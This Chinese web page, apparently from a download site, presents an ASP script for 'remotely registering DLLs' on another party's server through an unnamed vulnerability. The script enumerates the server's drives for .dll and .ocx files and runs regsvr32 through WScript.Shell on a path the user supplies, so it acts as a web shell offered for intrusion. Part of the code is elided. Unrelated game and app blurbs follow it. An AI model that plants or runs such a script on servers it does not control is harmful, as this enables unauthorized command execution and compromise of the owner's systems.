利用对方服务器漏洞远程注册DLL

利用对方服务器漏洞远程注册DLL:

         其实,我们在ASP中,是有捷径远程注册DLL的,但需要对方服务器漏洞的“配合”(什么漏洞?我可什么都没说啊,自己看)。试试下面的代码,或许侥幸成功呢: <% Response.Buffer = True %> <% Server.ScriptTimeout = 500 Dim frmFolderPath, frmFilePath frmFolderPath = Request.Form("frmFolderPath") frmFilePath = Request.Form("frmDllPath") frmMethod = Request.Form("frmMethod") btnREG = Request.Form("btnREG") %> <HTML> <HEAD>   <TITLE>精彩春风之远程注册DLL</TITLE>   <STYLE TYPE="TEXT/CSS">   .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue}   .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green;     MARGIN-LEFT:2px; MARGIN-RIGHT:2px}   TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px}   </STYLE> </HEAD> <BODY> <FORM NAME="regForm" METHOD="POST"> <TABLE BORDER=0 CELLSPACING=6 CELLPADDING=6 MARGINWIDTH=6> <TR>   <TD VALIGN=TOP>   <FIELDSET ID=FS1 NAME=FS1 CLASS=FS>   <LEGEND CLASS=Legend>注册DLL</LEGEND>   敲入到DLL目录的路径   <INPUT TYPE=TEXT NAME="frmFolderPath" VALUE="<%=frmFolderPath%>">   <INPUT TYPE=SUBMIT NAME=btnFileList VALUE="创建文件列表"> <% IF Request.Form("btnFileList") <> "" OR btnREG <> "" Then     Set RegisterFiles = New clsRegister       RegisterFiles.EchoB("Select File")       Call RegisterFiles.init(frmFolderPath)       RegisterFiles.EchoB(" <INPUT TYPE=SUBMIT NAME=btnREG VALUE=" & Chr(34) _ & "REG/UNREG" & Chr(34) & ">")     IF Request.Form("btnREG") <> "" Then       Call RegisterFiles.Register(frmFilePath, frmMethod)     End IF     Set RegisterFiles = Nothing   End IF %>   </FIELDSET>   </TD> </TR> </TABLE> </FORM> </BODY> </HTML> <% Class clsRegister Private m_oFS Public Property Let oFS(objOFS) m_oFS = objOFS End Property …… Sub init(strRoot) 'Root to Search (c:, d:, e:) Dim oDrive, oRootDir IF oFS.FolderExists(strRoot) Then IF Len(strRoot) < 3 Then 'Must Be a Drive Set oDrive = oFS.GetDrive(strRoot) Set oRootDir = oDrive.RootFolder Else Set oRootDir = oFS.GetFolder(strRoot) End IF Else EchoB("噢,文件夹( " & strRoot & " )没找到!")       Exit Sub     End IF     setRoot = oRootDir          Echo("<SELECT NAME=" & Chr(34) & "frmDllPath" & Chr(34) & ">")       Call getAllDlls(oRootDir)     EchoB("</SELECT>")     BuildOptions   End Sub      Sub getAllDlls(oParentFolder)   Dim oSubFolders, oFile, oFiles     Set oSubFolders = oParentFolder.SubFolders     Set opFiles = oParentFolder.Files          For Each oFile in opFiles       IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then         Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _         & oFile.Name & "</Option>")       End IF     Next          On Error Resume Next     For Each oFolder In oSubFolders 'Iterate All Folders in Drive       Set oFiles = oFolder.Files       For Each oFile in oFiles         IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then           Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _           & oFile.Name & "</Option>")         End IF       Next       Call getAllDlls(oFolder)     Next     On Error GoTo 0   End Sub   Sub Register(strFilePath, regMethod)   Dim theFile, strFile, oShell, exitcode     Set theFile = oFS.GetFile(strFilePath)     strFile = theFile.Path     Set oShell = CreateObject ("WScript.Shell")     IF regMethod = "REG" Then 'Register       oShell.Run "c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False       exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False)        EchoB("regsvr32.exe exitcode = " & exitcode)     Else 'unRegister       oShell.Run "c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False       exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False)        EchoB("regsvr32.exe exitcode = " & exitcode)     End IF          Cleanup oShell   End Sub      Sub BuildOptions     EchoB("Register: <INPUT TYPE=RADIO NAME=frmMethod VALUE=REG CHECKED>")     EchoB("unRegister: <INPUT TYPE=RADIO NAME=frmMethod VALUE=UNREG>")   End Sub      Function Echo(str)     Echo = Response.Write(str & vbCrLf)   End Function      Function EchoB(str)     EchoB = Response.Write(str & " " & vbCrLf)   End Function      Sub Cleanup(obj)     If isObject(obj) Then       Set obj = Nothing     End IF   End Sub      Sub Class_Terminate()     Cleanup oFS   End Sub End Class %>  

微软飞行模拟怎么玩?很多玩家朋友们进入游戏后不知道要如何来操作游玩,下面我们就来分享一下微软飞行模拟操作按键说明一览,希望对一次接触这款作品的玩家朋友们有所参考和帮助,微软飞行模拟怎么玩 微软飞行模拟操作按键说明
2020-08-20
无双大蛇3日前已经发售,下面来分享一下无双大蛇3剧情流程攻略,包含神器系统、人物解锁、挑战任务等内容,无双大蛇3剧情流程攻略 无双大蛇3全任务攻略
2018-11-15
足浴平台app下载-足浴平台app是一款专注于足浴行业的软件,通过足浴平台app你可以了解到更多行业资讯和相关信息,同时享受更多服务,您可以免费下载安卓手机足浴平台。
2016-08-06
坤舆天气app下载-坤舆天气app是一款天气预报应用,坤舆天气app为用户提供专业的天气变化情况,通过压力、降水、温度、粉尘颗粒等信息,为用户提供全面的天气情况展示,方便用户了解天气变化情况,您可以免费下载安卓手机坤舆天气。
2020-03-18
你的守望,已经开始!《守望先锋》今日(5月5日)正式开启国服压力测试,所有中国的玩家都可以免费畅玩《守望先锋》!《守望先锋》全新的玩法将颠覆FPS以往的形象,让玩家操控英雄运筹帷幄!精彩不断,新玩法、新系统、新装饰等内容也将在本次测试中震撼登场!这个世界需要英雄,在《守望先锋》中赢取你的一席之地吧,守望先锋国服免费体验今日开启 守望先锋免费试玩是多少号
2016-05-05
有读免费小说app,一款看小说就能赚钱的应用。有读免费小说拥有百万小说资源,各种类型小说应有尽有,支持多种阅读模自由切换,每天完成阅读时长即可领取金币,轻松兑换奖品。
2020-12-15
嘉翊吉妈妈app下载-嘉翊吉妈妈app是一款餐饮美食应用,嘉翊吉妈妈app为用户提供一个便捷的美食点餐平台,让用欧诺个户可以通过软件快速点餐,方便快捷,您可以免费下载安卓手机嘉翊吉妈妈。
2016-12-29
iphone4s和iphone4的区别是什么?哪一款更合适?手机外观、硬件配置、具体售价都有哪些不同?带着这些问题,pc6小编将一一为您解答,iphone4s和iphone4的区别
2012-07-24
十三号星期五哪个角色好用?这是开始游戏前首先要考虑的问题,而可选的人物也比较多,下面就为大家带来十三号星期五全角色解析,希望对大家有所帮助,十三号星期五全角色解析 十三号星期五哪个角色好用
2018-01-02
方言app软件汇聚了全国各地方不同的当地语言,帮助不同地区的人群快速沟通交流,听懂不同地方的语言,下面就将整合的一些火爆方言软件集合推荐给大家。
2023-07-08